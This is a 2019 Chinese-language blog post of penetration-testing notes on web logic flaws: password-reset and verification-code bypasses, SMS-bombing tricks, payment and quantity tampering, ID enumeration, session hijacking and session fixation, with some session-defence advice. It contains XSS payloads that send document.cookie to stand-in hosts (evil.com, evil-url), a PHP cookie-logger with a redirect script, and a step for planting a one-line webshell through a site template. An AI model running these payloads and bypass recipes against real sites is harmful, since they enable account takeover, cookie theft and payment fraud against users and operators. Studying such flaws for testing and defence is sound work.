password reset

参考文章

https://www.anugrahsr.me/posts/10-Password-reset-flaws/

 

验证码不校验 验证码未绑定用户 本地验证绕过 未校验用户字段 cookie值替换

 

 

场景 - 登录

服务端
1
. (1)拿到想要登录账号id (2)注册账号登录-》退出登录-》登录拦截->修改id值为想要登录账号id-》成功登录想要登录账号

客户端
2.
(1)拿到想要登录账号id
(2)注册账号登录-》拦截修改返回包id-》账号界面状态改变(但无实际权限)

 

 

短信轰炸

X-Forwarded-For
首加86 空格
尾加 . , + - ; \n %0a %00

 Cookie劫持

http://www.a.com/test.php?abc="><script src =http://evil.com/evil.js></script>
 
evil.js content:
 var img = document.createElement("img");
 img.src = "http://www.evil.com/log?"+escape(document.cookie);
 document.body.appendChild(img);
  
PS:log不一定要存在,因为在日志中会记录下这个过程
上面演示的就是最基本的xss 劫持Cookie的过程, 当你拿到用户cookie后,怎么用它登录服务器呢?在这个过程,方法很多,这里有两种方法:

Burpsuit proxy 修改cookie
Firefox 插件 Data Tamper 截断请求修改cookie

<?php
  $cookie = $_GET['c'];
  $ip = getenv('REMOTE_ADDR');
  $time = data("j F, Y, g:i a");
  $referer = getenv('HTTP_REFERER');
  $fp = fopen('cookie.txt','a');
  fwrite($fp.'Cookie: '.$cookie.'<br/> IP: '.$ip.'<br> Data and Time: '.$time.'<br>Referer: '.$referer.'<br><br>');
  fclose($fp);
?>
将上述保存到自己服务器上,1.php
然后在XSS处写入:
<script>document.location="http://your server/1.php?c="+document.cookie;</script>
View Code

Cookie欺骗

会话劫持(Session hijacking)

获取SessionID方式:
       1 暴力破解:尝试各种Session ID,直到破解为止;
       2、预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
       3 窃取:使用网络嗅探,XSS攻击等方法获得。
      
       第三种攻击方式通过捕获网络通信数据得到Session ID的,这种攻击可以通过SSL避免。本文主要分析的是应用层面的攻击方式及其防御方法。
       目前有三种广泛使用的在Web环境中维护会话(传递Session ID)的方法:URL参数,隐藏域和Cookie。其中每一种都各有利弊,Cookie已经被证明是三种方法中最方便最安全的。从安全的观点,如果不是全部也是绝大多数针对基于Cookie的会话管理机制的攻击对于URL或是隐藏域机制同样适用,但是反过来却不一定,这就让Cookie成为从安全考虑的最佳选择。
       使用Cookie而产生的一个风险是用户的Cookie会被攻击者所盗窃。如果Session ID保存在Cookie中,Cookie的暴露就是一个严重的风险,因为它能导致会话劫持。
       最基本的Cookie窃取方式:XSS漏洞
防御:
       1、 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
       2、 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
       3、 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
       4、 关闭所有phpinfo类dump request信息的页面。
       5、 使用User-Agent检测请求的一致性。但有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。
  6、 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。
       一旦站点中存在可利用的XSS漏洞,攻击者可直接利用注入的JS脚本获取Cookie,进而通过异步请求把存有Session ID的Cookie上报给攻击者。
       var img = document.createElement('img');
       img.src = 'http://evil-url?c=' +encodeURIComponent(document.cookie);
       document.getElementsByTagName('body')[0].appendChild(img);
View Code

会话固定漏洞(Sessionid)

攻击者重置SessionID的方式:
      跨站脚本攻击,如果是URL传递Session ID,还可以通过诱导的方式重置该参数,比如可以通过邮件的方式诱导用户去点击重置Session ID的URL,使用Cookie传递可以避免这种攻击。
       使用Cookie来存放Session ID,攻击者可以在以下三种可用的方法中选择一种来重置Session ID。
       1、 使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie=”sessionid=123”,这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。
       2、 使用HTML的<META>标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加<META>标签来设置Cookie。例如<meta http-equiv=Set-Cookiecontent=”sessionid=123”>,与客户端脚本相比,对<META>标签的处理目前还不能被浏览器禁止。
       3、 使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。如会话收养,闯入目标服务器所在域的任一主机,或者是攻击用户的DNS服务器。

   这里还有一点需要注意,攻击者如果持有的是有效的SessionID,那么防御措施就一定得校验验证。如攻击者可以先到目标站点登录,获得有效的Session ID,然后再拿这个Session ID去重置目标用户的会话标识,那么这时候用户将会在不知情的情况下访问攻击者设定的合法会话(实际上登录的是攻击者的账号了)中,从而攻击者将有可能获取到目标用户的敏感信息。
 防御方法:
       1、 用户登录时生成新的Session ID。如果攻击者使用的会话标识符不是有效的,那么这种方式将会非常有效。如果不是有效的会话标识符,服务器将会要求用户重新登录。如果攻击者使用的是有效的Session ID,那么还可以通过校验的方式来避免攻击。
       2、 大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。
View Code
逻辑漏洞 - 密码重置
#修改字段 + 对重置密码页面未做授权
https://account.xx.com/forget/findAccount.htm?profile=blueforyou%40aliyun.com-profile-1327128258196715
https://account.xx.com/forget/reset.htm?profile=blueforyou%40aliyun.com-profile-1327128258196715

#对任意用户账号进行密码重置 - A用户重置修改A用户的某关键值如ID/手机号为B用户关键值ID/手机号 -》即可修改B用户密码

#密码重置过程对管理员账户/任意账户修改 -》 验证邮箱地址抓包拦截改为自己邮箱 -》 完成密码重置


(1) 重置密码链接可伪造

#配合暴力破解

reset_password.htm

找回密码设计缺陷 验证码4位且未限制次数可爆破


#验证码非一次性(一段时间内有效) 

#通过邮箱可直接修改密码(创建新账号-修改已知账号密码)   #未对邮箱做校验

#通过已知邮箱直接修改密码 - 无须验证

#网站可直接注册管理员账号(如admin) - 未对账号名做校验

#
将注册用户的类型修改为超级管理员

在register.aspx将用户名和用户类型disabled掉
通过某些浏览器的功能可以将其删除造成可以自由操作该区域
在注册的时候抓取数据包,将"Register:ddIUserType"的值改为1也可以达到目的



#支付中未做短信验证 - 只需要支付密码验证 |  可对Web和手机端做对比

#修改单据数量为负数(如购买电影票时候将 票数gids数量值2改为 -2

#修改支付金额为负数

#F12元素界面修改单据数量

#F12元素界面修改支付金额为负数|为0.01
#代码逻辑
$integral=$this->config["integral_com_comments"]*$_POST['time'];
.....
if($statis["integral"]<$integral){
$this->obj->ACT_msg("index.php?C=pay","你的".$this->config["integral_pricename"]."不足,请先充值");
}
.....
$nid=$this->obj->company_invtal($this->uid,$integral,false,"购买会员等级");
....

function company_invtal($uid,$integral,$auto=true,$name="",$pay=true,$pay_state=2,$type="integral"){
        if($auto){
            $nid=$this->DB_update_all("company_statis","`".$type."`=`".$type."`+".$integral."","uid='".$uid."'");
        }else{
            $nid=$this->DB_update_all("company_statis","`".$type."`=`".$type."`-".$integral."","uid='".$uid."'");
            $integral="-".$integral;
        }
        if($pay){
            $dingdan=mktime().rand(10000,99999);
            $value="`order_id`='".$dingdan."',";
            $value.="`com_id`='".$uid."',";
            $value.="`pay_remark`='".$name."',";
            $value.="`pay_state`='".$pay_state."',";
            $value.="`pay_time`='".mktime()."',";
            $value.="`order_price`='".$integral."',";
            if($type=="integral"){
                $value.="`type`='1'";
            }else{
                $value.="`type`='2'";
            }
            $this->DB_insert_once("company_pay",$value);
        }
        return $nid;
    }
View Code

#验证码处短信炸弹

#无须验证码(如抢票接口-实现并发抢票-无须排队) #验证码和手机号码未做校验(如更改密码处直接输入手机号码
-》输入任意验证码即可修改密码) #修改参数值兑换金币(如兑换代金券页面抓包拦截修改参数needAmount=-200) #修改支付金额购买产品 #遍历用户信息(如修改ID值) #通过浏览器调试模式修改变量值-》刷新页面-》值修改成功(如修改用户手机号码) #修改购物数量为 -1
#购物 - 同时生成两个订单号,一个贵的一个便宜,首先支付便宜的,银行返回的时候,替换订单号,完成两个订单的同时支付
#通过id遍历用户订单信息 http:
//m.xx.com/m.php?m=UserCenter&a=show_order&id=1234567 #取消用户订单 http://www.xx.com/index.php?m=UcOrder&a=del&id=1234567 #用户列表处存在重置密码 - 》 使用重置后的密码登录 inurl:userlist.aspx #使用Paypal充值时 ——》 在页面跳转到PayPal支付页面时,保存页面源码,修改支付金额为0.01 ->使用浏览器打开修改后源码页面 #留言处修改用户id和留言内容 ——》遍历用户留言 - 横向越权 #修改用户余额实现0.01元支付(http://pay.xx.com/index.php?r=default/pay这个地址的请求中,有一个useBalanceAmountV的参数,这个就是使用的余额) #修改兑换数量(如num值1-》10000) #遍历修改用户账号信息 (如用户B通过抓包修改Sdild值为用户A的Sdild值-》修改用户A信息) #F12修改页面元素-》如打赏金额为 -888 -》 点击打赏 ——》账号金额增加了888

#登录处 - 》 删除 /login.asp -》输入任意账号密码登录成功

将注册用户的类型修改为超级管理员
在register.aspx将用户名和用户类型disabled掉
通过某些浏览器的功能可以将其删除造成可以自由操作该区域
在注册的时候抓取数据包,将"Register:ddIUserType"的值改为1也可以达到目的

#密码找回 -》 输入用户名 admin -》 输入问题答案处编辑浏览器属性禁用 JavaScript -》 得到密码
次世代验证码识别系统

#密码找回处 -》 抓包修改 step参数绕过某些步骤验证

#密码找回处 ——》 使用自己账号的手机验证码替换任意账号密码找回时需要的验证码-》修改任意任意账号密码

#密码找回处 ——》 使用自己账号的手机验证码替换任意账号密码找回时需要的验证码 -》 需要进行名字和手机号是否对应时可将名字参数修改为空-》修改任意任意账号密码

#密码修改处 -》 输入原密码(提示原密码不正确) -》 抓包修改此时的response 0—》1

#密码找回处 -》 邮箱修改为自己的邮箱 -》 完成任意账号密码的修改

#密码找回处 -》 绕过验证码验证(第二步)-》 抓该包的返回包,复制返回的某个参数,替换掉已保存包的这个参数,此时直接输入重置密码及确认密码

#积分兑换处 -》 抓包拦截修改兑换金额超出实际已有的金额券 -》绕过逻辑校验完成积分兑换

#密码找回处 -》 验证邮箱链接: 时间戳+验证邮箱地址(经过base64编码)-》 对时间戳(1422416945)以正负10s进行爆破

#找回密码处-》输入手机号-》验证码四位长-》 抓包发现验证码经过base64编码-》整一份base64编码的4位数字字典进行爆破

#找回密码处-》使用注册时的验证码代替找回密码时需要的验证码->完成任意账号密码的修改

#登录处-》使用正确的响应包替换掉任意账号登录时的响应包-》登录任意账号

#重置口令处 ——> 输入用户名-》火狐浏览器-F12-网络-响应 ——》可在后续的响应中查看到口令答案-》提交——》使用Tamper Popup修改邮箱参数为自己的邮箱-》邮箱中收到密码

#购买商品 -》 选择两件商品加入订单 -》 数量一正一负 -》 提交订单

#机票 -》 改签管理-》 查询 -》 修改 queryType 3 -》 queryType 为 -1

#密码重置处 -》 修改username为任意用户username -》 完成任意username密码修改

#密码重置处 -》 打开两个窗口 -》 窗口一正常输入自己的手机号、验证码,跳转到修改密码页面停住,不在操作
-》 切到第二个窗口,输入要攻击的手机,点击发送验证码 -》
到第2步的修改密码页面,输入密码 -》 攻击的手机号的账号密码已成功修改

#密码找回处 - 》
http://vote.xx.cn/siteserver/forgetPassword.aspx
关闭js
输入用户名:admin
然后一直下一步
然后登陆后台,模板添加一句话,菜刀连接

#密码重置处 -》 {"status":-1} -》 {"status":0}

#密码重置 -》 获取验证码 -》 抓包拦截response -》 修改JS代码逻辑如 if(data==1)改为if(1) ->发包-》输入任意验证码 -》 完成密码重置

#密码重置处 -》 输入手机号-》输入任意验证码-》抓包拦截修改 1 为 0 -》 密码修改成功

#密码重置处 -》 输入手机号-》输入任意验证码-》抓包拦截修改手机号码 -》 密码修改成功

#密码重置处 -> 输入手机号点击获取验证码-》 填写任意验证码-》把错误响应码0修改成1-》绕过验证码验证 -》填写新密码-》完成密码修改

#密码重置处 -》 使用自己账号手机验证码点击提交-》抓包拦截将账号参数account修改为攻击账号-》完成攻击账号密码修改

#密码重置处 -》 1.先在网站注册一个账号
打开xx政务网 http://**.**.**.**/ -登录-找回密码 进入找回密码界面 -》输入刚注册的用户名 然后提交
选择通过绑定邮箱 找回登录密码 -》此时会有邮件发送到邮箱,进入邮箱 点开链接 会出现此页面 -》现在我们把这些操作命名为A 先不要关A -》
重新再打开一个xx政务网的页面 命名为B 执行操作 登录-注册-忘记密码-输入用户名。此时我可以输入我的另外一个账号 super1-》点击下一步的时候 会出现我的另一个邮箱 -》发送邮件-》发送完邮件后 继续A操作 输入新的用户名密码-》任意账号密码修改完成

#密码找回处 -》 找回密码处输入用户名和验证码-》通过手机绑定找回密码-》填写手机验证码-》填写新密码-》打开新找回密码页面输入目标账号,走完发送短信流程,回到填写新密码页面提交-》完成目标账号密码修改

#密码重置处-》 填写手机号-》输入验证码-》抓包拦截修改request的Username(需要修改账号),修改response中0改为1-》发包完成任意账号密码修改

#密码重置处-》输入会员名和手机号-》获取短信验证码-》输入验证码提交-》抓包查看返回值(USR_ID)->输入密码提交-》抓包查看request data数据只需要newpassword和USR_ID -》 修改USR_ID(可通过暴力破解方式获取)发送请求-》即可修改其他账号密码

#密码找回处-》选择普通会员找回密码-》输入身份证号和验证码-》获取验证码提交-》输入新密码提交-》抓包拦截修改攻击登录名即身份证号-》发包完成攻击登录名密码修改

#找回密码处-》使用自己账号自己手机验证码替换攻击账号需要输入的验证码-》完成攻击账号密码修改

#找回密码处-》输入admin账号-》选择找回方式为手机号找回-》输入手机号点击获取验证码-》抓包查看response中出现验证码-》输入验证码-》完成密码修改

#找回密码处 -》输入手机号13888888888,获取验证码,抓包-》替换返回包false替换为true-》填写密码-》完成任意账号密码修改

#找回密码处 -》 写入他人手机号点击获取验证短信——》抓包拦截把phone的手机号改为自己的手机号-》下一步-》完成他人手机号对应的账号密码找回

#修改昵称处 -》 点击修改昵称-》修改用户100的用户名为999 -》抓包修改u_ID cy_uid为用户200的u_ID cy_uid-》账号用户200用户名被修改成999

#头像修改处 -》 修改uid为于是换将uid换成497,发现上传成功。但发现我没法验证是否真的修改了497的头像。由于我是新建用户,所以uid应该是最后一个,将uid改成499,也就是还没有注册过的id,这样,我就可以新建一个499的账户来进行验证

#越权登录别人账号 -》 使用自己账号登录成功 -》 修改url中的loginid=自己账号ID 为 loginid=admin -》越权使用admin账号访问页面

#登录界面 -》 输入账号密码 -》 验证页面 -》 这里直接就有一个手机号,刷新一下页面手机号还会变。这种情况导致随机登录他人账号 -》 输入自己的手机号-》填写验证码提交 -》此时会跳转到随机的一个账户的论坛页面 -》 实现越权使用任意账号

#抽奖处 - 》 遍历订单号发包 —》刷奖金、兑换券

#遍历关键字-》返回用户敏感信息

#用户注册处-》使用邮箱注册-》邮箱验证地址https://www.guangxindai.com/third/email_auth/82185/a9f1dfea8b13c08514c3c480759589e6/9ed279008f0c21ac7621dc1475075b6d/1438052747
-》82185应该是uid 随便改成一个数字1 然后访问
https://www.guangxindai.com/third/email_auth/1/a9f1dfea8b13c08514c3c480759589e6/9ed279008f0c21ac7621dc1475075b6d/1438052747
-》82151改为1-》登录了管理员账号

#登录管理页面 -》 js验证页面跳转 -》 禁用活动脚本 -》 得到管理员权限

#付费资源修改为自己资源实现免费 -》 先随便注册个帐号,再创建个课程,保存草稿-》进入修改页面-》我们需要改url上的课程参数,随机抽取了一个课程id为14320-》接着我们改url为14320,设为免费-》点发布——》点下原作者的链接,发现没有对应的课程-》再点下搜索到课程,进入详细页面发现课程免费且据为己有

#邮箱验证绕过登录 -》 verifyEmail.do?name=866xx7550@qq.com&appId=1006 -》点击验证 -》 点击再次验证 -》 抓包拦截(发现key值相同)-》修改邮件地址为自己的邮件地址 -》 完成登录验证绕过

#购物 -》 确定订单-》修改addressid-》查看其他用户地址信息

#购物 - 》 提交订单处使用多线程并发(可用2个线程进行尝试) ——》优惠券在两个进程中都可以使用

#支付 -》 填写支付金额100 -》 抓包拦截修改支付金额为 0.01 -》 发包

#支付 -》 前者为商品价格-》后者为支付金额 -》修改后者金额为 -100

验证码 -》 输入手机号 -》 获取验证码 -》 拦截抓包查看response - > message字段(url编码)为验证码内容 -》 修改message发包-》短信内容被修改



#Cookie信息泄露导致任意用户登录(在共享时,选择共享的用户自动展示出所有的用户-》此时查看源码response可能就会存在cookie信息-》利用Cookie登录账号)

Self.do?method=findInfo&userLogin=null   #个人信息页面

Self.do?method=changemobile&mobile=手机号码&userLogin=用户名   #手机号修改接口

posted @ 2019-07-18 21:28  7hang  阅读(793)  评论(0编辑  收藏  举报